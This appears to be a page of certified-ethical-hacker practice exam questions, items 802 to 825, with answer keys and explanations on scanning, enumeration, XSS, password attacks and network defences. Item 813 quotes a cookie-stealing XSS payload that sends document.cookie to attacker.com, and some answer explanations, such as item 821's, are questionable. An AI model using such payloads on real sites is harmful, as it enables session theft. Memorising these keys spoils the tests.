The trap here is that candidates often confuse SYN flood (Layer 4) with application-layer attacks because both involve flooding, but SYN flood targets the TCP handshake at the transport layer, not the HTTP protocol at Layer 7.

802
MCQmedium

In Burp Suite, which tool is used to modify and resend individual HTTP requests to observe responses, allowing manual testing of input validation and parameter manipulation?

A.Repeater
B.Proxy
C.Scanner
D.Intruder
AnswerA

The Repeater tool in Burp Suite is specifically designed for manually modifying and reissuing individual HTTP requests. It allows security testers to fine-tune request parameters, headers, or body content and observe the server's response in real-time. This iterative process is crucial for exploring application logic, testing for specific vulnerabilities, or confirming exploit conditions step-by-step.

Why this answer

Burp Repeater is designed for manually crafting and resending requests to see individual responses, ideal for testing parameter handling.

803
MCQmedium

A cloud security engineer discovers that an S3 bucket named 'acme-backups' is accessible to anyone with the bucket URL. The bucket contains sensitive customer data. Which AWS shared responsibility model component does this misconfiguration primarily violate?

A.AWS is responsible for physical security of data centers
B.The customer is responsible for patching the S3 service
C.The customer is responsible for configuring access controls and permissions
D.AWS is responsible for network infrastructure; the customer for data classification
AnswerC

This statement is correct because, within the AWS shared responsibility model, the customer is solely responsible for the "security in the cloud." For S3, this explicitly includes defining and implementing appropriate access controls and permissions. This involves configuring S3 bucket policies, Access Control Lists (ACLs), and AWS Identity and Access Management (IAM) policies to restrict who can access, modify, or delete data within their S3 buckets. A misconfiguration in these controls directly leads to data exposure.

Why this answer

Under the AWS shared responsibility model, the customer is responsible for configuring S3 bucket policies and access controls. The misconfiguration is a customer-side issue, not an infrastructure vulnerability.

804
Multi-Selecthard

During a penetration test, a tester observes that a web application's login form does not implement rate limiting and returns different error messages for valid vs invalid usernames. Which THREE attacks are most likely to be successful? (Select three)

Select 3 answers
A.Directory traversal
B.Credential stuffing
C.Brute-force attack
D.SQL injection
E.Password spraying
AnswersB, C, E

Credential stuffing is a highly effective attack where threat actors automate login attempts using large lists of username and password pairs previously compromised in data breaches from other services. If the web application allows valid usernames to be tested against these breached password lists without adequate detection or rate limiting, it becomes vulnerable to users who reuse their credentials across multiple platforms. This leverages the common user habit of password reuse.

Why this answer

With username enumeration and no rate limiting, brute force (trying many passwords on one user), credential stuffing (using breached credentials), and password spraying (trying common passwords across many users) are all viable. SQL injection is not directly related to the described conditions.

805
MCQhard

An attacker uses `nmap -sI 10.0.0.5 192.168.1.10` to scan a target. This technique is known as an idle scan. Which condition is REQUIRED for this scan to work correctly?

A.The zombie host must be running a Windows operating system
B.The attacker must have root access on the target machine
C.The zombie host must have an incremental IP ID sequence that is not reset by other traffic
D.The target must be running a Linux server with SSH enabled
AnswerC

The Nmap idle scan fundamentally relies on the zombie host's IP ID sequence incrementing predictably for each outgoing packet. If the zombie's IP ID sequence is not strictly incremental or is reset by unrelated network traffic, the attacker cannot reliably infer the target port's status. This predictability is crucial because the scan deduces open/closed ports based on whether the zombie's IP ID increments by one (indicating no RST from target) or by two (indicating a RST from target, causing the zombie to send a RST back).

Why this answer

The idle scan (nmap -sI) relies on the zombie host's IP ID sequence being predictable and incremental. The attacker probes the zombie's IP ID, sends a spoofed SYN packet to the target (appearing from the zombie), and then re-checks the zombie's IP ID. If the IP ID has increased by exactly 2 (or more if other traffic occurred), the target responded to the zombie, confirming the port is open.

The zombie must not reset or randomize its IP ID, and other traffic to the zombie must be minimal or accounted for, making an incremental IP ID sequence the essential condition.

Exam trap

EC-Council often tests the misconception that the zombie must be idle or that the target must have a specific service, but the core requirement is the zombie's IP ID sequence being incremental and not reset by other traffic.

How to eliminate wrong answers

Option A is wrong because the idle scan does not require any specific operating system on the zombie; it works with any host that uses an incremental IP ID sequence (e.g., many legacy Windows, Linux, or BSD systems). Option B is wrong because the attacker does not need root access on the target machine; the scan is performed externally, and root access is only needed on the attacker's machine to send raw packets (e.g., via libpcap). Option D is wrong because the target's operating system or SSH service is irrelevant; the idle scan works against any TCP port on any target, regardless of OS or running services.

806
MCQeasy

You are a security consultant for a mid-sized company with 500 employees. The company has a secure data center with a biometric access control system. Recently, a contractor was able to enter the data center without authorization by claiming he forgot his badge and an employee held the door for him. The contractor then accessed sensitive servers and exfiltrated data. The company wants to prevent such incidents. Which physical security control would be most effective in preventing this type of attack?

A.Install CCTV cameras to monitor the entrance.
B.Require employees to wear RFID badges at all times.
C.Implement a mantrap with biometric and badge authentication.
D.Hire additional security guards at the entrance.
AnswerC

Mantraps physically prevent tailgating by requiring one person at a time.

Why this answer

A mantrap with biometric and badge authentication enforces strict two-person authentication: both the contractor and the employee must independently authenticate before the mantrap doors unlock. This prevents tailgating (piggybacking) by ensuring only one person enters per authentication cycle, eliminating the social engineering vector where an employee holds the door for an unauthorized individual.

Exam trap

The trap here is that candidates often choose CCTV or guards because they seem like obvious physical security measures, but the question specifically targets tailgating/piggybacking, which only a mantrap with dual authentication can reliably prevent.

How to eliminate wrong answers

Option A is wrong because CCTV cameras are passive monitoring tools; they do not prevent unauthorized entry, only record it after the fact, and cannot stop tailgating in real time. Option B is wrong because requiring RFID badges at all times does not prevent an employee from holding the door for an unauthorized person; badges alone cannot enforce one-person-per-entry. Option D is wrong because additional security guards can still be socially engineered or fail to notice tailgating, and guards introduce human error and cost without the deterministic access control of a mantrap.

807
MCQhard

After a security incident, logs show repeated login attempts from different IP addresses using a list of common passwords against a single username. Which attack technique is being used?

A.Credential stuffing
B.Brute force attack
C.Password spraying
D.Dictionary attack
AnswerC

Password spraying is a sophisticated attack technique where a small number of very common passwords are systematically tried against a *large number of different user accounts* or a single account from *many different IP addresses*. This method is specifically designed to evade account lockout thresholds by distributing attempts across many targets or sources, preventing any single account or IP from exceeding the lockout limit. The 'repeated login attempts' observed in logs align perfectly with this strategy, as attackers aim to find weak passwords without triggering immediate detection.

Why this answer

Password spraying uses a small set of common passwords against many accounts or, as in this case, against a single account from multiple IPs to avoid lockout.

808
MCQhard

Refer to the exhibit. During a wireless audit, you capture a beacon frame from a corporate access point. What is the most significant security concern based on this information?

A.The pairwise cipher is CCMP, which is outdated.
B.The network uses WPA2-PSK, which is easily cracked.
C.The beacon frame reveals the BSSID, which is a security risk.
D.The group cipher is TKIP, which is deprecated and vulnerable.
AnswerD

The presence of TKIP (Temporal Key Integrity Protocol) as the group cipher is indeed a significant security vulnerability. TKIP was designed as a transitional solution for WPA to bridge the gap from WEP, but it incorporates known weaknesses, including a flawed Message Integrity Code (MIC) and vulnerabilities in its key mixing function. Consequently, it has been deprecated by the IEEE 802.11i standard and should not be used in secure wireless networks.

Why this answer

TKIP (Temporal Key Integrity Protocol) is a deprecated encryption protocol that was part of the original WPA standard. It is vulnerable to several attacks, including the Michael attack and the Beck-Tews attack, which can allow an attacker to decrypt traffic or inject packets. In a modern WPA2 network, TKIP should never be used as the group cipher; only CCMP (AES) is considered secure.

Exam trap

The trap here is that candidates often assume WPA2-PSK is inherently insecure (Option B) or that revealing the BSSID is a risk (Option C), but the real security flaw in this scenario is the use of TKIP as the group cipher, which is deprecated and known to be broken.

How to eliminate wrong answers

Option A is wrong because CCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol) is the most secure cipher available for WPA2, based on AES, and is not outdated. Option B is wrong because while WPA2-PSK can be cracked if a weak passphrase is used, the protocol itself is not 'easily cracked' — the vulnerability lies in the passphrase strength, not the protocol. Option C is wrong because the BSSID (Basic Service Set Identifier) is the MAC address of the access point and is always transmitted in beacon frames; revealing it is not a security risk as it is necessary for client devices to identify and connect to the network.

809
MCQmedium

A security analyst notices that after submitting a form on a web application, the URL changes to include the user's ID parameter, e.g., 'user?id=123'. The analyst modifies the ID in the URL and accesses another user's profile without authorization. Which type of vulnerability is being exploited?

A.Reflected Cross-Site Scripting (XSS)
B.Command Injection
C.Cross-Site Request Forgery (CSRF)
D.Insecure Direct Object Reference (IDOR)
AnswerD

Insecure Direct Object Reference (IDOR) occurs when an application exposes a direct reference to an internal implementation object, such as a file, database key, or directory, and fails to implement proper authorization checks. An attacker can manipulate these references, often found in URL parameters, form fields, or API requests, to access or modify resources belonging to other users or unauthorized data. This vulnerability directly exploits the application's trust in user-supplied object identifiers without verifying the user's permission to access that specific object, leading to unauthorized information disclosure or modification.

Why this answer

This is an Insecure Direct Object Reference (IDOR) vulnerability, where the application exposes internal object references (like user IDs) without proper access control checks.

810
MCQmedium

A security analyst runs the command: nbtstat -A 192.168.1.10. The output shows the table of names for the remote machine. Which of the following is the MOST likely purpose of this command?

A.To perform a DNS zone transfer
B.To enumerate SNMP community strings on the remote host
C.To enumerate NetBIOS names and services on the remote host
D.To enumerate SMB shares on the remote host
AnswerC

The command `nbtstat -a 192.168.1.10` (or `-A` for adapter status) is precisely used to query the NetBIOS name table of a remote host. This query retrieves a list of NetBIOS names registered by the target machine, including the computer name, workgroup/domain name, and services like the Messenger service or File and Print Sharing, along with their associated types and status. This provides valuable information about the remote system's identity and active NetBIOS services.

Why this answer

The `nbtstat -A` command performs a NetBIOS name table lookup against a remote IP address, displaying the registered NetBIOS names and their associated service types (e.g., workstation, server, messenger). This is a core technique for NetBIOS enumeration, which reveals the remote host's computer name, logged-in user, and running NetBIOS services, making option C correct.

Exam trap

The trap here is that candidates confuse `nbtstat -A` (NetBIOS name table enumeration) with SMB share enumeration (`net view` or `smbclient`), because both are associated with Windows file sharing, but they operate at different protocol layers and serve distinct enumeration purposes.

How to eliminate wrong answers

Option A is wrong because DNS zone transfers are performed using `nslookup` or `dig` with specific zone transfer flags, not `nbtstat` which operates at the NetBIOS over TCP/IP layer. Option B is wrong because SNMP community string enumeration is done via tools like `snmpwalk` or `snmpenum` targeting UDP port 161, while `nbtstat` uses NetBIOS name service on UDP port 137. Option D is wrong because enumerating SMB shares is typically accomplished with `net view`, `smbclient`, or `enum4linux`, not `nbtstat` which only retrieves NetBIOS name tables, not share lists.

811
MCQhard

During a vulnerability scan with Nessus, you find that port 445/TCP is open on a Windows server. Which of the following is the MOST likely associated risk?

A.SNMP community string brute-forcing
B.Remote code execution via SMB vulnerabilities
C.HTTP directory traversal
D.DNS cache poisoning
AnswerB

Remote code execution (RCE) via SMB vulnerabilities is a highly relevant threat when TCP port 445 is found open, as this port is the standard for Server Message Block (SMB) communication. SMB implementations, particularly older versions or unpatched systems, have been historically plagued by critical RCE vulnerabilities, such as EternalBlue. A Nessus scan detecting an open port 445 would prompt an ethical hacker to investigate for specific SMB vulnerabilities that could allow an attacker to execute arbitrary code on the target system.

Why this answer

Port 445/TCP is used by Microsoft SMB (Server Message Block) over a direct TCP connection, commonly known as SMB over TCP. SMB has historically been plagued by critical remote code execution vulnerabilities, most notably EternalBlue (MS17-010) exploited by WannaCry. Therefore, an open SMB port on a Windows server presents a high risk of remote code execution if unpatched.

Exam trap

The trap here is that candidates may associate port 445 with file sharing only and overlook its history of critical remote code execution vulnerabilities, instead choosing a more generic or unrelated attack vector like HTTP directory traversal.

How to eliminate wrong answers

Option A is wrong because SNMP community string brute-forcing targets UDP ports 161/162, not TCP port 445. Option C is wrong because HTTP directory traversal exploits web servers on ports 80/443/TCP, not the SMB port. Option D is wrong because DNS cache poisoning attacks target DNS servers on UDP/TCP port 53, not port 445.

812
MCQmedium

A security analyst reviews the following command output from a Linux system: `uid=0(root) gid=0(root) groups=0(root)`. The analyst suspects a privilege escalation attack. Which of the following techniques could have been used to achieve root access from a standard user account?

A.Token impersonation
B.Pass-the-hash attack
C.LLMNR/NBT-NS poisoning
D.SUID/GUID abuse
AnswerD

SUID (Set User ID) and SGID (Set Group ID) are special permissions in Linux that allow an executable file to run with the permissions of its owner (SUID) or group (SGID), rather than the user executing it. If a program owned by root has the SUID bit set, any user executing it will temporarily gain root privileges for the duration of that program's execution. Attackers can exploit misconfigured or vulnerable SUID/SGID binaries, such as those that allow arbitrary command execution or shell escapes, to elevate their privileges to root or another privileged user.

Why this answer

The command output shows the current user has UID 0, which is the root user. On Linux, SUID (Set User ID) and GUID (Group ID) bits allow executables to run with the permissions of the file owner (e.g., root). A standard user can exploit a misconfigured SUID binary (like `passwd` or a custom script) to execute commands with root privileges, achieving privilege escalation.

This is a classic Linux privilege escalation technique directly tied to the UID/GID output shown.

Exam trap

The trap here is that candidates confuse Windows-specific attacks (token impersonation, pass-the-hash, LLMNR poisoning) with Linux privilege escalation, failing to recognize that the `uid=0` output is a direct indicator of root access achieved via SUID/GUID abuse.

How to eliminate wrong answers

Option A is wrong because token impersonation is a Windows-specific attack that involves duplicating access tokens (e.g., via SeImpersonatePrivilege) and does not apply to Linux systems. Option B is wrong because pass-the-hash is a Windows network authentication attack that reuses NTLM hashes to authenticate without knowing the plaintext password; it is not relevant to Linux local privilege escalation. Option C is wrong because LLMNR/NBT-NS poisoning is a Windows network protocol attack used to intercept authentication requests on a local network, not a technique to escalate privileges on a local Linux system.

813
MCQmedium

A security analyst observes that a web application allows users to submit feedback, and after submission, the feedback is displayed on a public page. An attacker submits feedback containing the script: <script>document.location='http://attacker.com/?c='+document.cookie</script>. When an admin views the public page, the script executes. Which type of attack occurred?

A.Reflected XSS
B.Cross-site request forgery (CSRF)
C.DOM-based XSS
D.Stored XSS
AnswerD

Stored XSS, also known as persistent XSS, occurs when a malicious script is permanently saved on the target server, typically within a database, comment section, or user profile. When a victim's browser requests the page containing this stored payload, the server retrieves the malicious script and delivers it as part of the legitimate web page content. Consequently, the victim's browser executes the script, allowing the attacker to steal cookies, deface the website, or redirect users, making it a highly impactful and widespread attack.

Why this answer

The script is stored on the server (feedback) and executed when the admin views the page. This is persistent (stored) XSS.

814
MCQeasy

Which of the following is a primary purpose of the enumeration phase in a penetration test?

A.To gather in-depth information about the target system and its resources
B.To exploit identified vulnerabilities and gain access
C.To perform a vulnerability scan on the target network
D.To delete logs and cover tracks after a successful compromise
AnswerA

Enumeration is the active process of extracting detailed information from a target system or network, such as user accounts, group memberships, network shares, running services, and open ports. This granular data provides critical intelligence to identify potential attack vectors and misconfigurations, laying the groundwork for subsequent vulnerability analysis and exploitation attempts. It moves beyond simple port scanning to actively query services for specific configuration details.

Why this answer

The enumeration phase is the active process of extracting detailed information about a target system, such as user accounts, network shares, services, and system policies, using direct queries. This phase goes beyond passive reconnaissance by establishing connections to the target to gather data that can be used to identify attack vectors. In a CEH context, enumeration is specifically defined as the step where the tester collects in-depth information about the target's resources and potential entry points.

Exam trap

The trap here is that candidates often confuse enumeration with vulnerability scanning, but enumeration focuses on gathering system-specific information (like user accounts and shares) rather than scanning for known vulnerabilities.

How to eliminate wrong answers

Option B is wrong because exploiting vulnerabilities and gaining access is the purpose of the exploitation phase, not enumeration. Option C is wrong because performing a vulnerability scan is part of the vulnerability assessment phase, which typically occurs after enumeration and before exploitation. Option D is wrong because deleting logs and covering tracks is an activity of the post-exploitation or covering tracks phase, which occurs after a successful compromise, not during enumeration.

815
MCQeasy

Refer to the exhibit. An attacker runs the nslookup command shown. What information has been gathered?

A.Mail server addresses and priority
B.Name server records
C.IP addresses of the web server
D.SPF records for email authentication
AnswerA

When an attacker runs `nslookup` without specifying a query type, the command often defaults to querying A records but will frequently display Mail Exchanger (MX) records if they are configured for the domain, as these are critical for email routing. MX records explicitly list the mail servers responsible for accepting email on behalf of a domain and assign a numerical preference value, indicating the priority for delivery. This allows email clients to attempt delivery to the lowest-preference server first, ensuring redundancy and load balancing.

Why this answer

The nslookup command with the -type=MX query returns mail exchange (MX) records for the domain. The output shows mail server hostnames and their associated priority values (e.g., 10, 20), which indicate the order in which mail servers should be used. This directly reveals the mail server addresses and their priority, making option A correct.

Exam trap

The trap here is that candidates confuse DNS record types—specifically, they may think MX records return IP addresses or SPF data, when in fact MX only returns mail server hostnames and priorities.

How to eliminate wrong answers

Option B is wrong because name server (NS) records are retrieved using -type=NS, not -type=MX; the output shows no NS records. Option C is wrong because IP addresses of the web server are obtained via A or AAAA records, not MX records; MX records only provide mail server hostnames, not web server IPs. Option D is wrong because SPF records are stored as TXT records, not MX records; the -type=MX query does not return SPF data.

816
MCQhard

A security engineer observes the following log event: 'Certificate for www.example.com was issued by an intermediate CA that chains to a root CA not in the trusted store.' Which type of attack might this indicate?

A.Birthday attack on the certificate signature
B.Downgrade attack to SSLv3
C.Man-in-the-middle using a rogue certificate
D.Replay attack on the TLS handshake
AnswerC

When a client encounters an "untrusted root CA" error, it signifies that the digital certificate presented by the server cannot be validated against the client's pre-installed list of trusted Certificate Authorities. In a Man-in-the-Middle (MitM) attack, an adversary intercepts communication and presents a fraudulent certificate, often self-signed or issued by an attacker-controlled CA, to the client. This rogue certificate will naturally fail the trust chain validation, leading to the observed error as the client cannot establish a secure, authenticated connection to the legitimate server.

Why this answer

A certificate from an untrusted root CA suggests a rogue or misissued certificate, possibly from a malicious CA or a man-in-the-middle attack using a proxy with its own CA certificate not trusted by the client.

817
MCQmedium

A penetration tester is performing SNMP enumeration against a network device and wants to retrieve the entire Management Information Base (MIB) tree. Which command should they use?

A.snmpwalk -v 2c -c public 192.168.1.1 .1
B.snmpset -v 2c -c private 192.168.1.1 1.3.6.1.2.1.1.0 s 'test'
C.snmpbulkwalk -v 2c -c public 192.168.1.1 .1
D.snmpget -v 2c -c public 192.168.1.1 1.3.6.1.2.1.1
AnswerA

This command correctly utilizes `snmpwalk` to perform comprehensive SNMP enumeration. The `-v 2c` flag specifies the use of SNMPv2c, a widely adopted version, and `-c public` employs the common default read-only community string. Crucially, initiating the walk with `.1` as the starting Object Identifier (OID) instructs `snmpwalk` to traverse and retrieve all available information from the entire Management Information Base (MIB) tree on the target device, which is the precise objective of thorough SNMP enumeration.

Why this answer

`snmpwalk` is specifically designed to retrieve a subtree of MIB objects by performing a series of GETNEXT requests starting from a given OID. Using `.1` as the root OID (which corresponds to the entire ISO tree) with the SNMPv2c community string 'public' will enumerate all accessible OIDs in the MIB tree, effectively dumping the entire Management Information Base.

Exam trap

The trap here is that candidates often confuse `snmpbulkwalk` as the correct answer because it is faster for large MIBs, but the CEH exam expects `snmpwalk` as the standard enumeration tool, and `snmpbulkwalk` may not be supported by all SNMP agents.

How to eliminate wrong answers

Option B is wrong because `snmpset` is used to modify SNMP objects, not to retrieve them; it requires write access (community 'private') and would fail to enumerate the MIB tree. Option C is wrong because `snmpbulkwalk` is optimized for bulk retrieval but is not the standard command for a full MIB tree walk; it uses GETBULK requests which may be blocked or behave differently on some devices, and the question asks for the command to use, not the most efficient one. Option D is wrong because `snmpget` retrieves only a single OID value (1.3.6.1.2.1.1) and does not walk the tree; it would return only the system description or a single scalar object, not the entire MIB.

818
Multi-Selectmedium

Which TWO of the following are characteristics of a reflected Cross-Site Scripting (XSS) attack? (Select 2)

Select 2 answers
A.The attack is typically delivered through a crafted link
B.The script executes in the server-side context
C.The attack affects all users who visit the compromised page without any interaction
D.The malicious script is reflected off the web server in the response
E.The malicious script is permanently stored on the server
AnswersA, D

Reflected Cross-Site Scripting (XSS) attacks are typically initiated when an attacker crafts a malicious URL containing the injected script and then tricks a victim into clicking it. This delivery mechanism is crucial because the malicious payload is not persistently stored on the server. Instead, the victim's browser sends the crafted URL to the vulnerable web application, which then reflects the script back in the immediate HTTP response, executing it in the victim's browser context.

Why this answer

Reflected XSS requires user interaction (clicking a link) and does not persist on the server.

819
MCQhard

An analyst reviews a web server log and sees the following request: GET /search?q=<script>alert('xss')</script> HTTP/1.1. The response from the server includes the search term inside a <div> tag without any sanitization. Which type of XSS vulnerability does this indicate?

A.Stored XSS
B.Reflected XSS
C.DOM-based XSS
D.Blind XSS
AnswerB

Reflected Cross-Site Scripting (XSS) occurs when a malicious script, typically injected through a URL parameter or form input, is immediately processed by the server and returned within the HTTP response to the user's browser without proper sanitization. The script is not stored on the server; instead, it "reflects" off the server back to the user who made the request. The web server log showing the script directly in the request and implying an immediate response aligns perfectly with this non-persistent, server-side reflection mechanism.

Why this answer

This is a typical reflected XSS because the malicious script is injected via a GET parameter and immediately reflected in the response without persistent storage.

820
MCQmedium

During a security assessment, an analyst runs 'enum4linux -a 10.0.0.5' and obtains a list of users, shares, and OS information. What protocol is enum4linux primarily using to gather this information?

A.NetBIOS
B.SNMP
C.LDAP
D.SMB/CIFS
AnswerD

Enum4linux is a powerful enumeration tool specifically designed to interact with the Server Message Block (SMB) and Common Internet File System (CIFS) protocols. It leverages various SMB functionalities, such as querying NetBIOS name services, enumerating shares, listing users, and extracting operating system information from Windows and Samba hosts. This direct interaction with SMB/CIFS allows it to gather critical reconnaissance data for security assessments.

Why this answer

enum4linux is a wrapper around tools from the Samba suite, primarily using the SMB/CIFS protocol to query Windows systems for information such as user lists, shares, and OS details. It leverages SMB's remote IPC mechanisms (e.g., via \pipe\lsarpc or \pipe\samr) to enumerate these data points, making D the correct answer.

Exam trap

The trap here is that candidates confuse the underlying protocol (SMB/CIFS) with the transport or name-resolution layer (NetBIOS), leading them to select Option A because enum4linux historically used NetBIOS name lookups, but the core enumeration protocol is SMB/CIFS.

How to eliminate wrong answers

Option A is wrong because NetBIOS is a session-layer protocol used for name resolution and service discovery, but enum4linux relies on SMB/CIFS over TCP/445 (or NetBIOS over TCP/139) to perform its enumeration; the tool itself is not primarily a NetBIOS scanner. Option B is wrong because SNMP (Simple Network Management Protocol) uses UDP ports 161/162 and is designed for managing network devices, not for enumerating Windows user accounts or shares via SMB. Option C is wrong because LDAP (Lightweight Directory Access Protocol) operates on TCP/389 and is used for querying directory services like Active Directory, but enum4linux does not use LDAP by default; it uses SMB RPC calls to extract information.

821
MCQhard

An analyst observes the following output from Wireshark: a TCP packet with the SYN flag set, followed by a SYN-ACK, then an ACK, and then a RST. The sequence numbers show a pattern: initial seq=100, ack=300, then seq=300, ack=101. What is the MOST likely interpretation?

A.An attacker is performing TCP sequence prediction to hijack the session.
B.A normal TCP connection establishment followed by an immediate termination.
C.A man-in-the-middle attack using ARP spoofing.
D.A TCP SYN flood attack is in progress.
AnswerA

Correct. The sequence numbers show successful prediction, and the RST may be used to reset the connection after hijacking.

Why this answer

The observed sequence numbers (initial seq=100, ack=300, then seq=300, ack=101) indicate that the ACK packet acknowledges a sequence number that was never sent by the original sender, which is a classic sign of TCP sequence number prediction. An attacker who predicts the next expected sequence number can inject a spoofed packet to hijack the session, and the subsequent RST is often used by the attacker to tear down the legitimate connection or cover their tracks.

Exam trap

In the EC-CEH exam, candidates often mistake the SYN, SYN-ACK, ACK, RST pattern for a normal connection termination (FIN sequence) or a simple reset, failing to recognize that the sequence number mismatch in the ACK reveals the attack.

How to eliminate wrong answers

Option B is wrong because a normal TCP connection establishment (three-way handshake) consists of SYN, SYN-ACK, ACK, and then data exchange, not an immediate RST; the RST here is anomalous and indicates malicious activity. Option C is wrong because ARP spoofing is a layer-2 attack that manipulates MAC-to-IP mappings to intercept traffic, but the given Wireshark output shows only TCP flags and sequence numbers, with no evidence of ARP packets or MAC address manipulation. Option D is wrong because a TCP SYN flood attack involves sending many SYN packets without completing the handshake, overwhelming the server's connection queue; the output shows a complete handshake (SYN, SYN-ACK, ACK) followed by a RST, not a flood of incomplete connections.

822
MCQmedium

A penetration tester wants to identify live hosts on a large IP range without generating excessive network traffic. Which tool is BEST suited for fast host discovery?

A.Masscan
B.Maltego
C.dnsenum
D.Nessus
AnswerA

Masscan is specifically engineered for extremely high-speed network scanning, capable of scanning vast IP address spaces, including the entire internet, in minutes. It achieves this by employing an asynchronous, stateless approach to transmit SYN packets at a rapid rate, making it ideal for quickly identifying live hosts and open ports across large address ranges. Its primary strength lies in its ability to conduct broad reconnaissance efficiently, far surpassing other tools for sheer scanning velocity when the objective is rapid host discovery.

Why this answer

Masscan is the best tool for fast host discovery across large IP ranges because it uses asynchronous transmission and can scan the entire IPv4 address space in under 10 minutes at a rate of 10 million packets per second. It minimizes network traffic by sending only SYN packets and not completing the TCP handshake, making it ideal for rapid live host detection without overwhelming the network.

Exam trap

The trap here is that candidates confuse 'host discovery' with 'vulnerability scanning' or 'OSINT gathering', leading them to choose Nessus or Maltego, but the question specifically asks for minimal traffic and speed, which only Masscan's asynchronous SYN scan achieves.

How to eliminate wrong answers

Option B is wrong because Maltego is a graphical link analysis tool for gathering and correlating open-source intelligence (OSINT), not a network scanner for live host discovery; it relies on existing data sources rather than sending packets. Option C is wrong because dnsenum is a DNS enumeration tool that queries DNS servers for subdomains and records, not a host discovery scanner; it does not send raw packets to probe IP addresses. Option D is wrong because Nessus is a comprehensive vulnerability scanner that performs deep, multi-packet scans with full handshakes and plugin checks, generating heavy traffic and taking much longer than needed for simple host discovery.

823
MCQmedium

A company wants to protect its network from MAC flooding attacks. Which of the following countermeasures is MOST effective?

A.Use Wireshark to monitor for floods
B.Disable CAM table learning
C.Enable port security on switches
D.Implement ARP spoofing detection
AnswerC

Enabling port security on switches is the most effective defense against MAC flooding attacks. This feature allows administrators to configure a maximum number of MAC addresses permitted to be learned on a specific switch port. When the configured limit is exceeded, the switch can be configured to take action, such as shutting down the port, restricting further MAC address learning, or generating an alert, thereby preventing the attacker from overflowing the CAM table.

Why this answer

Enabling port security on switches directly limits the number of MAC addresses that can be learned on a switch port, preventing an attacker from flooding the CAM table with fake MAC addresses. When the configured limit is exceeded, the switch can either drop traffic, shut down the port, or send an alert, effectively stopping the MAC flooding attack at the access layer.

Exam trap

The CEH exam often tests the distinction between passive monitoring tools (like Wireshark) and active security controls (like port security), and the trap here is that candidates confuse detection with prevention, or confuse MAC flooding with ARP spoofing attacks.

How to eliminate wrong answers

Option A is wrong because Wireshark is a passive packet analyzer that can detect a MAC flooding attack in progress but cannot prevent or stop it; it provides no active countermeasure. Option B is wrong because disabling CAM table learning would break normal switch operation, as the switch would be unable to build its forwarding table and would flood all frames out all ports, effectively turning the switch into a hub and causing network disruption. Option D is wrong because ARP spoofing detection addresses ARP cache poisoning attacks, not MAC flooding attacks; MAC flooding targets the switch's CAM table by exhausting its memory with fake MAC addresses, while ARP spoofing manipulates IP-to-MAC mappings on hosts.

824
MCQmedium

During a penetration test, an analyst runs the command 'snmpwalk -v2c -c public 192.168.1.10' and receives a large amount of output. Which protocol and community string are being used?

A.SNMPv1 with community string public
B.SNMPv1 with community string private
C.SNMPv2c with community string public
D.SNMPv3 with user public
AnswerC

This option is correct because the command's `-v2c` flag precisely identifies SNMP version 2c, which offers significant improvements over SNMPv1, including enhanced bulk data transfer and more detailed error messages. Concurrently, the `-c public` flag accurately specifies the community string as 'public', a widely known default often targeted by attackers for initial reconnaissance during penetration tests.

Why this answer

The command 'snmpwalk -v2c -c public 192.168.1.10' explicitly specifies SNMP version 2c with the '-v2c' flag and the community string 'public' with the '-c' flag. SNMPv2c is the most common version for read-only queries, and 'public' is the default read-only community string. The large output indicates successful enumeration of the MIB tree, confirming the community string is correct.

Exam trap

The trap here is that candidates often confuse the '-v2c' flag with SNMPv1 or assume 'public' is always read-only, but the question tests the direct mapping of command-line arguments to protocol version and community string.

How to eliminate wrong answers

Option A is wrong because the command uses '-v2c', not '-v1', so SNMPv1 is not being used. Option B is wrong because it incorrectly specifies SNMPv1 and the community string 'private', which is typically used for read-write access, not the 'public' string shown in the command. Option D is wrong because SNMPv3 does not use community strings; it uses usernames and authentication/encryption parameters, and the command does not include any SNMPv3-specific flags like '-u' or '-l'.

825
MCQhard

During a forensic investigation, an analyst finds a suspicious file that changes its code signature each time it replicates. The file uses encryption and polymorphism to evade signature-based detection. Which type of virus is this?

A.Macro virus
B.File infector virus
C.Boot sector virus
D.Polymorphic virus
AnswerD

Polymorphic viruses are a sophisticated type of malware designed to evade signature-based detection by constantly changing their executable code while retaining their original functionality. They achieve this through a 'mutation engine' that encrypts the virus body with a different key and decryption routine for each new infection. This process ensures that every new instance of the virus has a unique signature, making it extremely challenging for traditional antivirus software to identify based on static patterns.

Why this answer

D is correct because a polymorphic virus is specifically designed to change its code signature each time it replicates, using encryption and mutation engines to evade signature-based detection. The description of altering the signature with each replication while maintaining the same core functionality is the defining characteristic of a polymorphic virus.

Exam trap

CEH often tests the distinction between a polymorphic virus and a metamorphic virus; the trap here is that candidates may confuse 'polymorphic' (which changes the decryption routine but keeps the body encrypted) with 'metamorphic' (which rewrites its entire code without encryption), but the question explicitly mentions encryption, confirming polymorphism.

How to eliminate wrong answers

Option A is wrong because a macro virus infects documents or spreadsheets by embedding malicious macros in scripting languages like VBA, and while it can replicate, it does not inherently change its code signature through encryption and polymorphism. Option B is wrong because a file infector virus attaches itself to executable files and activates when the host program runs, but it typically does not alter its signature with each replication unless it incorporates polymorphic techniques, which is not its defining feature. Option C is wrong because a boot sector virus infects the master boot record or boot sector of a storage device, loading before the OS, and it does not routinely change its code signature via encryption and polymorphism as a primary evasion method.

Page 10

Page 11 of 12

Page 12